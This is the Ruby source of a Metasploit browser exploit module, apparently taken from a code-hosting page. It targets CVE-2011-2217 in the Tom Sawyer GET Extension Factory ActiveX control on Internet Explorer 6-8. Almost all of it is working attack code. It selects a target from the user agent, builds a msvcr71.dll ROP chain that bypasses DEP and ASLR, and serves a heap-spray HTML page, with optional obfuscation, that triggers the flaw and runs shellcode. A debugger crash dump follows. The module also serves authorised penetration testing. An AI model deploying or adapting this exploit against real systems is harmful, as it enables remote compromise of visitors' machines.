274 lines
7.7 KiB
Ruby
274 lines
7.7 KiB
Ruby
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Exploit::Remote::BrowserAutopwn
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autopwn_info({
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:os_name => OperatingSystems::WINDOWS,
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:ua_name => HttpClients::IE,
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:ua_minver => "6.0",
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:ua_maxver => "8.0",
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:javascript => true,
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:rank => NormalRanking,
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:classid => "{658ED6E7-0DA1-4ADD-B2FB-095F08091118}"
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})
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def initialize(info={})
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super(update_info(info,
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'Name' => "Tom Sawyer Software GET Extension Factory Remote Code Execution",
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'Description' => %q{
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This module exploits a remote code execution vulnerability in the tsgetx71ex553.dll
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ActiveX control installed with Tom Sawyer GET Extension Factory due to an incorrect
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initialization under Internet Explorer.
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While the Tom Sawyer GET Extension Factory is installed with some versions of VMware
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Infrastructure Client, this module has been tested only with the versions installed
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with Embarcadero Technologies ER/Studio XE2 / Embarcadero Studio Portal 1.6. The ActiveX
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control tested is tsgetx71ex553.dll, version 5.5.3.238.
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This module achieves DEP and ASLR bypass using the well known msvcr71.dll rop chain. The
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dll is installed by default with the Embarcadero software, and loaded by the targeted
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ActiveX.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Elazar Broad', # Vulnerability discovery
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'rgod', # PoC
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'juan vazquez' # Metasploit module
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],
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'References' =>
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[
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[ 'CVE', '2011-2217' ],
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[ 'OSVDB', '73211' ],
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[ 'BID', '48099' ],
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[ 'URL', 'http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?id=911' ]
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],
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "\x00",
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'DisableNops' => true
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},
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'DefaultOptions' =>
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{
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'ExitFunction' => "process",
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'InitialAutoRunScript' => 'migrate -f'
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},
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'Platform' => 'win',
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'Targets' =>
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[
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# Embarcadero Technologies ER/Studio XE2
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# tsgetx71ex553.dll 5.5.3.238
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[ 'Automatic', {} ],
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[ 'IE 6 on Windows XP SP3',
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{
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'Rop' => nil,
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'Offset' => '0x00'
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}
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],
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[ 'IE 7 on Windows XP SP3',
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{
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'Rop' => nil,
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'Offset' => '0x800 - code.length'
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}
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],
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[ 'IE 8 on Windows XP SP3',
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{
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'Rop' => true,
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'Offset' => '0x0',
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'RopChainOffset' => '0x73e'
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}
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],
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[ 'IE 8 on Windows 7 SP1',
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{
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'Rop' => true,
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'Offset' => '0x0',
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'RopChainOffset' => '0x73e'
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}
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]
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],
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'Privileged' => false,
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'DisclosureDate' => "May 03 2011",
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'DefaultTarget' => 0))
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register_options(
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[
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OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
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], self.class)
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end
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def get_target(agent)
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#If the user is already specified by the user, we'll just use that
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return target if target.name != 'Automatic'
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if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
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return targets[1] #IE 6 on Windows XP SP3
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elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
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return targets[2] #IE 7 on Windows XP SP3
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elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
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return targets[3] #IE 8 on Windows XP SP3
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elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8/
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return targets[4] #IE 8 on Windows 7 SP1
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else
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return nil
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end
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end
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def junk(n=4)
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return rand_text_alpha(n).unpack("V").first
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end
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def nop
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return make_nops(4).unpack("V").first
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end
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def get_rop_chain(t)
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adjust =
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[
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junk, # heap sprayed to 342d1ea0
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0x7c1ce310, # stackpivot # push ecx # pop esp # pop edi # pop esi # retn 18 # mfc71.DLL
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0x7c347f98, # RETN (ROP NOP) # msvcr71.dll
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junk,
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junk,
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junk,
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junk,
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junk,
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junk
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].pack("V*")
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# chain generated by mona.py - See corelan.be
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rop =
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[
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0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
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0xfffffdff, # Value to negate, will become 0x00000201 (dwSize)
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0x7c347f98, # RETN (ROP NOP)
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0x7c3415a2, # JMP [EAX]
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0xffffffff,
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0x7c376402, # skip 4 bytes
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0x7c351e05, # NEG EAX # RETN
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0x7c345255, # INC EBX # FPATAN # RETN
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0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
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0x7c344f87, # POP EDX # RETN
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0xffffffc0, # Value to negate, will become 0x00000040
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0x7c351eb1, # NEG EDX # RETN
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0x7c34d201, # POP ECX # RETN
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0x7c38b001, # &Writable location
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0x7c347f97, # POP EAX # RETN
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0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
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0x7c378c81, # PUSHAD # ADD AL,0EF # RETN
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0x7c345c30, # ptr to 'push esp # ret '
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].pack("V*")
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code = adjust
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code << rop
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return code
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end
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def on_request_uri(cli, request)
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agent = request.headers['User-Agent']
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my_target = get_target(agent)
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# Avoid the attack if the victim doesn't have the same setup we're targeting
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if my_target.nil?
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print_error("Browser not supported: #{agent.to_s}")
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send_not_found(cli)
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return
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end
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print_status("Target set: #{my_target.name}")
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p = payload.encoded
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js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
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js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))
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js_90_nops = Rex::Text.to_unescape("\x90"*4, Rex::Arch.endian(my_target.arch))
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if my_target['Rop'].nil?
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js_shellcode = "var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);"
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else
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js_rop = Rex::Text.to_unescape(get_rop_chain(my_target), Rex::Arch.endian(my_target.arch))
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js_shellcode = <<-JS_ROP
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var rop_chain = unescape("#{js_rop}");
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var nops_padding = nops.substring(0, 0x73e-code.length-offset.length);
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var shellcode = code + nops_padding + rop_chain + nops_90.substring(0, 0x800-code.length-nops_padding.length-rop_chain.length);
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JS_ROP
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js_shellcode = js_shellcode.gsub(/^\t\t\t/, '')
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end
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js = <<-JS
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var heap_obj = new heapLib.ie(0x20000);
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var code = unescape("#{js_code}");
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var nops = unescape("#{js_nops}");
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var nops_90 = unescape("#{js_90_nops}");
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while (nops.length < 0x80000) nops += nops;
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while (nops_90.length < 0x80000) nops_90 += nops_90;
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var offset = nops.substring(0, #{my_target['Offset']});
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#{js_shellcode}
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while (shellcode.length < 0x40000) shellcode += shellcode;
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var block = shellcode.substring(0, (0x80000-6)/2);
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heap_obj.gc();
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for (var z=1; z < 0x685; z++) {
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heap_obj.alloc(block);
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}
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JS
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js = heaplib(js, {:noobfu => true})
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#obfuscate on demand
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if datastore['OBFUSCATE']
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js = ::Rex::Exploitation::JSObfu.new(js)
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js.obfuscate
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end
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html = <<-EOS
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<html>
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<head>
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<script>
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#{js}
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</script>
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</head>
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<body>
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<object classid="clsid:658ED6E7-0DA1-4ADD-B2FB-095F08091118">
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</object>
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</body>
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</html>
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EOS
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html = html.gsub(/^\t\t/, '')
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print_status("Sending html")
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send_response(cli, html, {'Content-Type'=>'text/html'})
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end
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end
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=begin
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(b44.b48): Access violation - code c0000005 (first chance)
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First chance exceptions are reported before any exception handling.
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This exception may be expected and handled.
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eax=00000000 ebx=0013e27c ecx=342d1ea0 edx=00000000 esi=75c63d38 edi=80004002
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eip=28d2954d esp=0013e230 ebp=0013e2d4 iopl=0 nv up ei pl nz ac pe nc
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cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010216
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tsgetx71ex553!Ordinal931+0x2dd:
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28d2954d ff5104 call dword ptr [ecx+4] ds:0023:342d1ea4=????????
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=end
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